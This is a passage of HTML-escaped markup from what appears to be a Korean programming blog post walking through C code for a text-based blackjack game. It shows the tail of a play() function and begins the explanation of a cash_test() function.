font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;l;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;player_total;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nYour&amp;nbsp;Total&amp;nbsp;is&amp;nbsp;%d\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;p);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dealer();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(dealer_total&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//Is&amp;nbsp;dealer&amp;nbsp;total&amp;nbsp;is&amp;nbsp;21,&amp;nbsp;loss&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nDealer&amp;nbsp;Has&amp;nbsp;the&amp;nbsp;Better&amp;nbsp;Hand.&amp;nbsp;You&amp;nbsp;Lose.\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;loss&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;loss&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cash&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;cash&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;bet;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nYou&amp;nbsp;have&amp;nbsp;%d&amp;nbsp;Wins&amp;nbsp;and&amp;nbsp;%d&amp;nbsp;Losses.&amp;nbsp;Awesome!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;won,&amp;nbsp;loss);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dealer_total&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;askover();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(dealer_total&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//If&amp;nbsp;dealer&amp;nbsp;total&amp;nbsp;is&amp;nbsp;over&amp;nbsp;21,&amp;nbsp;win&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nDealer&amp;nbsp;Has&amp;nbsp;Went&amp;nbsp;Over!.&amp;nbsp;You&amp;nbsp;Win!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;won&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;won&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cash&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;cash&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;bet;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nYou&amp;nbsp;have&amp;nbsp;%d&amp;nbsp;Wins&amp;nbsp;and&amp;nbsp;%d&amp;nbsp;Losses.&amp;nbsp;Awesome!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;won,&amp;nbsp;loss);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dealer_total&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;askover();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;((choice3&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;'S'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(choice3&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;'s'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;))&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;If&amp;nbsp;Stay,&amp;nbsp;does&amp;nbsp;not&amp;nbsp;continue&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;\nYou&amp;nbsp;Have&amp;nbsp;Chosen&amp;nbsp;to&amp;nbsp;Stay&amp;nbsp;at&amp;nbsp;%d.&amp;nbsp;Wise&amp;nbsp;Decision!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;player_total);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;stay();&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//While&amp;nbsp;player&amp;nbsp;total&amp;nbsp;and&amp;nbsp;dealer&amp;nbsp;total&amp;nbsp;are&amp;nbsp;less&amp;nbsp;than&amp;nbsp;21,&amp;nbsp;re-do&amp;nbsp;while&amp;nbsp;loop&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;End&amp;nbsp;While&amp;nbsp;Loop&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;End&amp;nbsp;Function&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;play() 함수에서 호출 하는 함수는 아래 4개의 함수이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;cash_test()&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;randcard()&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;dealer()&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;betting()&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;위 4개의 함수를 자세히 들여다 보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;&lt;b&gt;cash_test() function&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 